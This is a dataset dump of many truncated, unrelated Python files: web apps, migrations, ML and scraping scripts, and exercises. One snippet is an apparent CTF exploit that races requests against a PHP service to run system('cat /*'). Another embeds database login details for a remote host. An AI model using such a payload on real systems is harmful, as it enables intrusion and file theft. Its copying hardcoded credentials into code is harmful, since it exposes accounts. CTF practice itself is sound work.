text
stringlengths
38
1.54M
# import packages from flask import Flask from flask.ext.sqlalchemy import SQLAlchemy from flask.ext.login import LoginManager # import app configurations from config import * ## App initiallization app = Flask(__name__) app.secret_key = SECRET_KEY # Database initiallization app.config['SQLALCHEMY_DATABASE_URI'] ...
""" Coordinators act as sorters and workflow managers for an IOCell. They prioritize new requests and ensure that a particular IO strategy is kept, such as maintaining low latency of final emitters or ensuring balanced requests amongst levels. The actual behavior may vary from one type to another. """ import asyncio...
from rest_framework import permissions from rest_framework.request import Request from .models import ApiKey class ValidApiKeyOrDenied(permissions.BasePermission): def has_permission(self, request: Request, view): try: app = ApiKey.objects.get(key=request.META.get('HTTP_API_KEY'), is_active=T...
import sys import math dataset = sys.stdin.read() x1, y1, x2, y2 = map(float, dataset.split()) rad = 6371.302 lat1 = x1 * math.pi / 180. lat2 = x2 * math.pi / 180. long1 = y1 * math.pi / 180. long2 = y2 * math.pi / 180. cl1 = math.cos(lat1) cl2 = math.cos(lat2) sl1 = math.sin(lat1) sl2 = math.sin(lat2...
import pickle from typing import Tuple import sys import numpy as np from torchtext.data import Batch from torchtext.data import BucketIterator from torchtext.data import interleave_keys from evaluation import Evaluator from model import NeuralMachineTranslator from parallel_data import ParallelData, TestData clas...
import logging from dagster import ( DependencyDefinition, Field, InputDefinition, Int, Bool, String, Dict, OutputDefinition, PipelineDefinition, SolidInstance, execute_pipeline, solid, ResourceDefinition, PipelineContextDefinition, ExecutionContext, ) clas...
{ 'targets': [ { 'target_name': 'libgtop', 'dependencies' : [ 'glib.gyp:glib' ], 'type' : 'static_library', 'direct_dependent_settings': { 'include_dirs': [ 'libgtop', 'libgtop/include', 'libgtop/lib', 'libgtop/sysdeps/common', ...
''' 패스 경로 중 'C:\\Users\\bitcamp\\anaconda3' 이곳에 이 파일을 넣을 것이다. ''' print("이 import는 아나콘다 폴더 C:\\Users\\bitcamp\\anaconda3 에 들어있다") def sum2() : print('작업그룹 임포트 와구와구')
from pathlib import Path import click from databricks_cli.configure.config import debug_option from databricks_sync import CONTEXT_SETTINGS, log from databricks_sync.cmds import templates @click.command(context_settings=CONTEXT_SETTINGS, help="Initialize export configuration file.") @click.option('--filename', '-f',...
# Copyright (c) 2020. # # Author: Yannik Benz # import os import re import string import nltk import numpy as np from nltk.tokenize.treebank import TreebankWordDetokenizer import random def simple_perturb(text: str, method: str, perturbation_level=0.2): """ :param text: :param method: :param per...
''' Created by: Lionel Lewis Takes a B value from the user and uses it to perform a mathematical function called Completing The Square. ''' # Uni-Code characters for the Square Root and Square symbols. SQUARE_ROOT = u'\u221A' SQUARED = u'\u00B2' # Function that calculates the value of B def completeT...
import pickle from copy import deepcopy, copy import torch from torch.nn import MSELoss, DataParallel from torch.nn.utils import clip_grad_value_, clip_grad_norm_ from torch.optim import SGD, Adam from src.actor import Actor from src.critic import Critic from src.replay_buffer import ReplayBuffer from src.ornstein_uh...
# -*- coding: utf-8 -*- """ Created on Tue Jul 25 15:46:58 2017 @author: wangy Variable monthly flow method (Paster et al. (2014) Accounting for environmental flow requirements in global water assessments) Low flow months: MMF<=0.4*MAF Low flow requirements: 0.6*MMF Intermediate flow months: MMF>0.4*MAF &...
class RailwayForm: formType = "RailwayForm" def printData(self): print(f"Name is {self.name}") print(f"Train is {self.train}") sujanApplication = RailwayForm() sujanApplication.name = "Sujan" sujanApplication.train = "Janakpur Express" sujanApplication.printData()
from lib.config import parse from lib.db import UDB def main(): with open("config.toml") as cf: config = parse(cf) with UDB(config.redis) as db: print(db.failed_queue.list()) db.restart_failed_tasks() if __name__ == '__main__': main()
# for each file extension in attachments create a subdolder in the main directory for that extenstion # move each file into the corresponding subfolder from distutils import extension import os import shutil def file_move(file, path, new_path): if not os.path.exists(new_path): os.mkdir(new_path) ori...
import json def desk_result(): file = open("desk.json", "r") json_dict = json.load(file) result = json_dict["desk"] return result if __name__ == '__main__': desk_result()
print(str (98.6)) #98.6의 실수를 문자열로 변환 print(str (True)) #True의 참값을 문자열로 변환 teststr = "\" hello I'm \" escape testing str" # "\를 이용하여 "출력가능 print(teststr) #문자열 타입을 +연산자를 이용하여 결합이 가능 teststr2 = "test2" teststr3 = "test3" print(teststr2 + teststr3) #*를 사용하여 같은문자의 여러번 출력이 가능 teststr4 = '4번 출력됩니다' *4 print(te...
""" Normalize and rescale particle momentum so they correspond with the desired temperature. This is done by comparing the current total kinetic energy and the total kinetic energy that is expected with the desired temperature and the equipartition theorem. normalize_momentum(N,momentum,T,E_k=-1) N : number o...
def makeBismarkMethylationExtractorPlusPlusReadPosScript(bismarkFileNameListFileName, outputDir, ignoreR2Val, maxLen, maxLenR2, scriptFileName, codePath): # Write a script that will extract the methylation status from Bismark output files bismarkFileNameListFile = open(bismarkFileNameListFileName) scriptFile = open(...
from pymongo import MongoClient def TrialFunctions(): return 10 + 20 def UpdateKeys(id_list): for id in id_list[:int(0.5*len(id_list))]: coll.update({'_id': f'{id}'}, {'$set': {'testing_new_key': f'{str(TrialFunctions())}'}}) pass myclient = MongoClient(host=None, port=None) m...
class ServiceBase: def start(self): raise "do_start() not implemented" def stop(self): raise "do_stop() not implemented" def get_pidfile(self): return '/var/run/'+self.cf.get_name()+'.pid'
#!/usr/bin/python from xml.dom import minidom from xml.dom import Node import re import sys, getopt class SLD_v1_0_0_ColorMapEntry(): quantity = None opacity = None rgb = [-1,-1,-1] def __hash__(self): return hash(self.quantity) def __cmp__(self, other): re...
import os import numpy as np import shutil, requests, zipfile, io from logger import * def download_timit(): if os.path.isdir('dataset/TIMIT'): logger.info("TIMIT already exists") else: logger.info("TIMIT downloading") r = requests.get('https://ndownloader.figshare.com/files/10256148')...
import numpy as np import psycopg2 import pandas as pd from sklearn.cluster import DBSCAN from sklearn import metrics from sklearn.datasets import make_blobs from sklearn.preprocessing import StandardScaler # ############################################################################# # Generate sample data # cente...
import os import pathlib import tempfile import unittest from typing import Any, Dict, Union from unittest import TestCase import torch import torch.nn as nn from transformers import ( RobertaConfig, RobertaForMaskedLM, RobertaTokenizerFast, Trainer, TrainingArguments, ) from pytorch_block_sparse ...
from .IO_kit import * from .alignment import alignment_batch from .parse_config import modify_json_from_config
#!/usr/bin/python ### encoding: utf-8 import urllib2 import csv import json from pprint import pprint update_url = "https://docs.google.com/spreadsheet/pub?key=0AurnydTPSIgUdHY1T3hsYUF3SXRVb3FMQmdQUk9JOWc&single=true&gid=1&output=csv" if __name__ == "__main__": data = json.load(file('data.json')) reader ...
import os from flask import Flask from flask_sqlalchemy import SQLAlchemy app = Flask(__name__) SECRET_KEY = os.urandom(32) app = Flask(__name__) app.config['SECRET_KEY'] = SECRET_KEY try: app.config["SQLALCHEMY_DATABASE_URI"] = os.environ["FOOTBALL_APP_DB"] except KeyError: app.config["SQLALCHEMY_DATABAS...
def merge(l1, l2): index_l = 0 index_r = 0 left_max = len(l1) right_max = len(l2) merge_list = [] # Sort left list while not (index_l == left_max or index_r == right_max): if l1[index_l] > l2[index_r]: merge_list.append(l2[index_r]) index_r += 1 else: ...
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2021/5/2 上午9:30 # @Author : silianpan # @Site : # @File : file.py # @Software: PyCharm import win32com.client as win32 word = win32.gencache.EnsureDispatch('Word.Application') word.Visible = False cs = win32.constants doc = word.Documents.Op...
import numpy as np print("w jaki sposób chcesz podać dane") print("0-ręcznie") print("1-z pliku") a=input() d=[] if(a=='0'): print("ile danych zamierzysz wprowadzić") b=int(input()) if b==0: print("w takim razie nie zawracaj mi głowy >:(") else: for x in range(b): c=int(input...
class _ArtNet: DELAY = 0.5 PORT = 6454 # ArtNet UDP固定端口 OPCODE = [0x00, 0x50] # 传输方式定义 VERSION = [0x00, 0x0e] # ArtNet版本号 SEQUENCE = 0x00 # 禁止乱序自动排列功能 PHYSICAL = 0x00 # 物理端口,默认为0 PKT_LEN = 512 # 数据长度最大512 IMG_PIXEL = 600 # 实际单通道控制Led数 PHY_PIXEL = 680 # 单通道最大可控制Led数 UNIV...
# from app.db import schemas # # { # 400: {"model": schemas.Message, "description": "Bad Request"} # } base_responses = { 400: {"description": "Bad Request"}, 401: {"description": "Unauthorized"}, 404: {"description": "Not Found"}, 422: {"description": "Validation Error"}, 500: {"description": ...
# Generated by Django 2.0.2 on 2018-03-13 17:52 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('auth', '0009_alter_user_last_name_max_length'), migrations.swappable_dependency(set...
from data_load import DriveDataSet, DataGenerator, drive_record_filter_include_all, AngleTypeWithZeroRecordAllocator, \ AngleSegmentRecordAllocator, AngleSegment, RecordRandomAllocator from data_generators import image_itself, brightness_image_generator, shadow_generator, \ shift_image_generator, random_generat...
#7/30/14 #Read in a disk file One line at a time def main(): #Open the file for reading, This is also an internal name my_words = open('lyrics','r') #Read one line at a time line_count = 0 one_line = my_words.readline() while(one_line != ""): #stop when you get an empty line line_count += 1...
import ngram def nGram(): dict_file = open("../data/dict.txt", 'r') misspell_file = open("../data/misspell.txt", 'r') result_file = open("../result/ngram_4_result.txt", 'w') # to read the dictionary dict = [] for line in dict_file.readlines(): line = line.strip() dict.append(...
# Generated by Django 3.1.7 on 2021-04-01 04:11 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('control', '0003_auto_20210401_0353'), ] operations = [ migrations.AlterField( model_name='records', name='payment_st...
''' Created on Mar 24, 2017 @author: tonyq ''' import logging from gensim.models.word2vec import Word2Vec logger = logging.getLogger(__name__) def makeEmbedding(args, inputTable): sentenceList = [] for tbl in inputTable: sentenceList.extend(tbl) logger.info(' Total %i lines info for word2vec proc...
import pytz from datetime import datetime ### Support Functions def total_seconds_datetime(time): """ Receives datetime instance and returns int total seconds :param datetime: datetime instance :return int """ if isinstance(time, datetime): return time.second + time.minute * 60 + time...
import glob import numpy as np import cv2 import random import os import sys from PIL import Image from threading import Thread, RLock from time import time rlock = RLock() class OpenImage(Thread): """ Thread to open images. """ def __init__(self, listA): global data, cptOccur, idmove Thread.__init__(sel...
n=int(input()) n2=n29=n58=0 for i in range(n): x=int(input()) if x%58==0: n58+=1 elif x%29==0: n29+=1 elif x%2==0: n2+=1 s=n2*n29+n58*(n-n58)+((n58-1)*n58)//2 print(s)
# -*- coding:utf-8 -*- # Author:D.Gray import sqlalchemy from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy import Column,String,Integer,ForeignKey from sqlalchemy.orm import sessionmaker,relationship from sqlalchemy import func engine = sqlalchemy.create_engi...
from datetime import datetime, timedelta, time import os import logging log=logging.getLogger('todo_app.app') # Decorator for get_cards function to slice result by time. def split_result_by_updated_time(func): def wrapper_split_result_by_updated_time(self, list_category, from_threshold = datetime.min, to...
import os import pygame import eng.foreground_object as foreground_object import eng.box as box import eng.globs as globs import eng.font as font import eng.settings as settings import eng.data as data import eng.sound as sound from . import party_screen from . import bag_screen from . import trainer_card from . imp...
""" The set S originally contains numbers from 1 to n. But unfortunately, due to the data error, one of the numbers in the set got duplicated to another number in the set , which results in repetition of one number and loss of another number. Given an array nums representing the data status of this set after the error...
# -*- coding: utf-8 -*- """ Created on Sun Mar 28 14:04:56 2021 @author: Saptarshi mukhopadhaya """ from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer import pandas as pd import senti_bignomics import sklearn from sklearn.model_selection import train_test_split from sklearn.linear_model ...
# -*- coding: utf-8 -*- import scrapy import json from myweather.items import TideItem import time class TideSpider(scrapy.Spider): name = "tide" allowed_domains = ["http://app.cnss.com.cn/tide_search_data.php"] # start_urls = [ # "http://www.weather.com.cn/weather1d/101270101.shtml", # "...
from __future__ import annotations import random from collections import defaultdict from collections import deque from lattice import Partition # talvez dê para extender simpleNode utilizando um partition internamente class SimpleNode(object): c = 0 def __init__(self, key, value): self.cost = float...
# -*- coding: utf-8 -*- # Generated by Django 1.9 on 2016-07-27 05:52 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('projects', '0035_project_slim_scroll_color'), ] operations = [ migrations.Alte...
# coding=utf-8 #导出常用模块 import datetime,json,md5,sys,os #导出数据结构模块 from api.models import * from lib import NcloudMonitorLib #操作Monitor类 class HandleMonitor: def __init__(self, Data,params): self.params = params self.Data = Data #创建Monitor类 def CreateHTTPMonitor(self): OperateStatus = Ncl...
def add(a, b ): if type(a) == int and type(b) == int: result = a + b print(result) else: print("valorile transmise nu corespund tipului") add(10, 20)
#!/usr/bin/env python # coding: utf-8 # In[1]: import matplotlib.pyplot as plt import numpy as np import pylab # In[2]: mu= 0 sigma = 1 number = 100000 # In[3]: dataset = np.random.normal(mu, sigma, number) # In[4]: count, bins, ignored=plt.hist(dataset, 50, density=True) plt.plot(bins, 1/(sigma * np.sqr...
# NumberPool # Create a number pool, 1 to inifinity which has 2 methods # checkIn(some_number) and checkout() # checkout should give the min number checked in # checkin should add to numberPool if number doesn't exisit # intially all numbers 1 to inifinity are available # eg. # checkout gives 1 # checkout gives 2 # ...
import scrapy import time import datetime import dateparser import re from tpdb.BaseSceneScraper import BaseSceneScraper class PornCZSpider(BaseSceneScraper): name = 'PornCZ' network = 'PornCZ' parent = 'PornCZ' start_urls = [ 'https://www.porncz.com' # 'https://www.amateripremium.c...
""" 1 使用pymysql连接ihrm数据库,查询员工表中第100条到第110条数据 host:182.92.81.159 username:readuser password:iHRM_user_2019 数据库:ihrm 表:bs_user """ # 1.导包 import pymysql # 2.创建数据库连接 connect = pymysql.connect(host="182.92.81.159", user="readuser", password="iHRM_user_2019", database="ihrm") # 3.获取游标 cursor = connect.cursor() # 4.执行SQL语句...
''' Project: Gui Gin Rummy File name: status_messaging.py Author: William Hale Date created: 3/14/2020 ''' # from __future__ import annotations from typing import TYPE_CHECKING if TYPE_CHECKING: from .game_canvas import GameCanvas from . import configurations from . import info_messaging from . im...
from flask import Flask, render_template, redirect, url_for, session from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, SubmitField from wtforms.validators import DataRequired, EqualTo app = Flask(__name__) app.config["SECRET_KEY"] = "roux" class RegisterForm(FlaskForm): username = S...
# Написать игру. Пользователь должен угадать число. Сперва вводиться диапазон угадывания. # После колличество попыток. В случае правильного ответа - выводить You are the winner. # В случае неправильного давать игроку подсказку(больше или меньше искомое число). # Если за указанное количество попыток число не угадано - в...
import torch.nn import numpy as np from torchesn.nn import ESN from torchesn import utils import time import matplotlib.pyplot as plt #device = torch.device('cuda') dtype = torch.double torch.set_default_dtype(dtype) if dtype == torch.double: data = np.loadtxt('datasets/mg17.csv', delimiter=',', dtype=np.float64)...
""" crear un escrib los numeros pares del 1 al 120 """ # con el while contador=0 while contador<=120: if contador%2==0: print(contador, end=",") contador+=1 #con el for contador=1 for contador in range(1,121): if contador%2==0: print(f"{contador} es par") else: print(f"{contado...
""" 'r'--open a file for reading only 'w'--open a file for writing only 'w+'--open a file for reading and writing open([file_path],[mode]) """ _open=open("file.txt","w") _open.write("I make this file!!!") _open.close()
import shutil import subprocess import pytest import pennylane as qml def cmd_exists(cmd): """Returns True if a binary exists on the system path""" return shutil.which(cmd) is not None @pytest.fixture(scope="session") def tol(): """Numerical tolerance for equality tests.""" return {"rtol": 0, "a...
import graphene from .types import ApplicationPriorityEnum, WinterStorageMethodEnum class HarborChoiceInput(graphene.InputObjectType): harbor_id = graphene.ID(required=True) priority = graphene.Int(required=True) class BerthSwitchInput(graphene.InputObjectType): berth_id = graphene.ID(required=True) ...
import threading import requests import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) c = """ <?php system("cat /*"); ?> """ for i in range(0xFFF): c += str(i) def normal(): r = requests.get('https://edu-ctf.csie.org:10155/?f=mydir&i=mydir%2Fmeow&c[]='+ "aaa",verify...
#! /usr/bin/env python # statusforceresubmit_all.py: Checks status for forces re-submission of failed CRAB jobs from file import os, sys if len(sys.argv)<2: sys.exit('plese specify the filename') infile = open(sys.argv[1],"r") lines = infile.readlines() for line in lines: if line.find('#')==-1 : mylin...
#!C:\Python\Python def largeAndSmall(list): largestNum = smallestNum = list[0] for currNum in list: if currNum > largestNum: largestNum = currNum if currNum < smallestNum: smallestNum = currNum return (largestNum, smallestNum) myList = [10, 20, 30, 20, 20, 30, 40,50...
Name = "" Capital_name_list = [] while (Name != "fin"): Name = input("Name?") if Name.istitle(): Capital_name_list.append(Name) print(str(len(Capital_name_list)) + ' names start with capital letters')
from enum import Enum from constants import DEFAULT_LOCAL_BITCONID_RPC_URL, SATOSHI_PER_BTC import bitcoin_client_wrapper bitcoin_client = bitcoin_client_wrapper.BitcoinClientWrapper(rpc_url=DEFAULT_LOCAL_BITCONID_RPC_URL) class TxnoutType(Enum): TX_NONSTANDARD = 0 TX_PUBKEY = 1 TX_PUBKEYHASH = 2 TX_S...
# coding: utf-8 # In[ ]: import re def find_words(df_row,words,feature,flag): """Finds 'flag' of 'words' in 'df_row' for 'feature' : :param df_row: dataframe, row (is 'x' from df.apply(lambda x:....)) :param words: string, keywords to search in 'df_row' :param feature: strin...
import unittest from question5 import ocurrenceCalc class testq5(unittest.TestCase): def test_c1(self): self.assertIn(1, ocurrenceCalc(6)) def test_c2(self): self.assertListEqual(ocurrenceCalc(3), [1, 2, 2, 3, 3, 3]) def test_c3(self): self.assertNotEqual(ocurrenceCalc(3), [1, 2,...
# Copyright 2013 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
from math import sqrt def primes(n): from math import sqrt A,B,C = [],[],[] for i in range(n+1): A.append(i) #Initialize A, from 0 to 2000000 B.append(1) #Initialize B, containing all 1s from 0 to 2000000 # Remove 0 and 1 from A if n == 0: return([]) if n == 1: ...
import time import datetime from globals import * import pipeline import ephemint from AnCommands import guider import MySQLdb import safecursor DictCursor = safecursor.SafeCursor LastFocusTime = 0 FocusInterval = 3600*2 #3 hours in ephem tics def check(): """Check time to see if a service observations is r...
import pymysql class serviciosDB: def __init__(self): self.connection = pymysql.connect( host="localhost", user="root", passwd="12345", db="airbnb", cursorclass=pymysql.cursors.DictCursor, ) def getServices(self): ...
import nltk from nltk.stem import WordNetLemmatizer lemmatizer = WordNetLemmatizer() import pickle import numpy as np import tkinter.simpledialog as simpledialogs import tkinter from tkinter import * from keras.models import load_model model = load_model('chatbot_model.h5') import json import random intents...
#!/usr/bin/env python3 N = int(input()) HS = [] for _ in range(N): l = list(map(int, input().split())) HS.append(l) # 部分点がもらえる解法 # 高さの上限をhとしたとき、ある風船を何秒に以内に割らなければならないかが定まる。 # 風船iは、(h - H[i])/S[i] 秒以内に割らなければならない。 # 高さの上限hに達するまでに、全ての風船を割ることできるかを判定するには、 # 制限時間が短かいものから順に割っていくことができるかを調べればよい。 # hを徐々に大きくし、順に割ことのできるhの...
def check_command(pattern, command): p = bin(pattern)[2:] if len(p) <= len(command): p = '0'*(len(command)-len(p)) + p else: return False for i in range(len(command)): if (command[i].isdigit() and p[i] == '1') or (command[i].isalpha() and p[i] == '0'): return False ...
# pylint: disable=E0611,E0401 from typing import List from fastapi import FastAPI, HTTPException, Request from fastapi.responses import JSONResponse from app.resources.database import setup_database from app.routers.user_router import router as UserRouter from app.routers.phone_router import router as PhoneRouter app...
# https://atcoder.jp/contests/abc159/tasks/abc159_f import sys def input(): return sys.stdin.readline().rstrip() sys.setrecursionlimit(10 ** 7) MOD = 998244353 N, S = map(int, input().split()) A = list(map(int, list(input().split()))) ans = 0 dp = [0]*(S+1) for i in range(N): dp[0] += 1 # Lがiからを足...
from dynamic_profile.utils import BuildIndicator, enhance_api_data from wazimap.data.tables import get_datatable from wazimap.data.utils import ( calculate_median, dataset_context, get_stat_data, group_remainder, merge_dicts, ) from wazimap.models.data import DataNotFound from wazimap.geo import geo...
from django.db import models from django.contrib.auth.models import User class Category(models.Model): name = models.CharField(max_length=20, unique=True) description = models.TextField(null=True, blank=True) has_answer = models.BooleanField(default=True) def __str__(self): return self.name ...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Apr 4 19:07:52 2019 @author: xsun43 """ import pymysql #%% import time from bs4 import BeautifulSoup import requests import random import re from requests.exceptions import RequestException import csv import os import sys #%% print(sys.argv[0]) print...
import pymysql import json import requests import urllib2 import time sql = """UPDATE s_articles_details SET laststock=%s WHERE id=%s""" epilog_sql1 = "DELETE FROM s_articles_a" epilog_sql2 = "INSERT INTO s_articles_a(articleID, s, c) SELECT d.articleID, SUM(laststock) s, COUNT(*) c FROM s_articles_details d GROUP BY...
import pygame from Box2D.b2 import (world, vec2, contactListener) from task_race.envs.objects.geometric import * import numpy as np import res.Util as Util from res.Util import world_to_pixels from task_race.envs.objects.Car import Car, Action SCREEN_WIDTH, SCREEN_HEIGHT = 720, 720 PPM = 20 TARGET_FPS = 60 PHYSICS_TI...
from sklearn.metrics.pairwise import paired_distances from sklearn.utils import check_random_state from sklearn.utils.validation import check_is_fitted from sklearn.neighbors._base import UnsupervisedMixin from sklearn.base import TransformerMixin, BaseEstimator import numpy as np class SubsampledNeighborsTransformer...
import morse import pytest @pytest.mark.parametrize('s,exp', [ ('... --- ...', 'SOS'), ('... . -.-. --- -. -..', 'SECOND'), ('--. --- --- -.. -....- .--- --- -...', 'GOOD-JOB'), ('--.- .-- . .-. - -.-- -....- -. .. -.- . .-.. -....- --... .---- -.... -....- -- .- .. -....- .---- .---- --...', 'QW...
from django.conf import settings from django.http.response import ( HttpResponse, JsonResponse, StreamingHttpResponse, HttpResponseNotAllowed ) from api_auth.utils.http_error import ( HttpError, InternalServerError, MethodNotAllowed ) # from sentry_sdk import capture_exception from api_auth...
#!/usr/bin/python from __future__ import print_function from __future__ import division from __future__ import absolute_import import numpy as np import matplotlib.pyplot as plt # create x, randomly spaced between 0 to 20 x = np.linspace(0,20,1000) y1 = np.sin(x) y2 = np.cos(x) #Plot the sin and cos functions plt.p...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import render, HttpResponse, redirect from django.contrib import messages from django.core import serializers from models import * # Create your views here. def index(request): return render(request, 'note/index.html', { "notes...
# https://docs.python.org/3.7/library/stdtypes.html#string-methods - built-in string methods # https://docs.python.org/2.4/lib/standard-encodings.html - Python encoding aliases import base64 def mix_unicode_and_str(): '''unicode and str objects cannot be concatenated''' s = b'hello' + u'world' # TypeError: ...
############################################## # The MIT License (MIT) # Copyright (c) 2016 Kevin Walchko # see LICENSE for full details ############################################## RE = 6378137.0 # Semi major axis of Earth [m] model = 'WGS84' FLATTENING = 0.00335281066475 # 1/298.257223563 E2 = 0.0...
from typing import List class Solution: def numRescueBoats(self, people: List[int], limit: int) -> int: people.sort() left = 0 right = len(people) - 1 boats_number = 0 while left <= right: if left == right: boats_number += 1 brea...
#!/usr/bin/env python """ Created by howie.hu at 2018/11/22. """ import asyncio from typing import Optional import async_timeout import pyppeteer from ruia import Request from ruia.response import Response from ruia_pyppeteer.response import PyppeteerResponse class PyppeteerRequest(Request): def __init__( ...
#!/usr/bin/env python3 import math import random import time import unittest def merging_lists(left, right): inf_number = math.inf left.append(inf_number) #adding inf number to end of left list right.append(inf_number) #adding inf number to end of right list merged_list = [] left_index, right_ind...
#!/usr/bin/env python # coding:utf-8 # https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/001431756044276a15558a759ec43de8e30eb0ed169fb11000 ''' 在函数内部,可以调用其他函数。如果一个函数在内部调用自身本身,这个函数就是递归函数。 fact(n) = n! = 1 x 2 x 3 x ... x (n-1) x n = (n-1)! x n = fact(n-1) x n 所以,fact(n)可以表示为n x fact(...
from flask import make_response, render_template, current_app, jsonify from flask_restful import Resource, reqparse from search.searcher import Searcher from schema.User import User import os, json env = os.environ["APP_ENV"] cfg = json.loads(open('config.json').read())[env] parser = reqparse.RequestParser() parser.a...
''' Created on Apr 9, 2017 @author: vinicius ''' from random import randint import numpy as np from rangeFinderModel import RangeFinderModel from parametros import Parametros from math import cos, sin, pi from random import uniform from motionModel import sampleMotionModelOdometry class ParticleFilter(object): ''...
class Nodo(): # Constructor que recibe el nodo izquierdo, dereecho y valor def __init__(self, left, right, val): self.__left = left self.__right = right self.__value = val def setNodoIzquierdo(self, leftNode): self.__left = leftNode def setNodoDerecho(self, rightNo...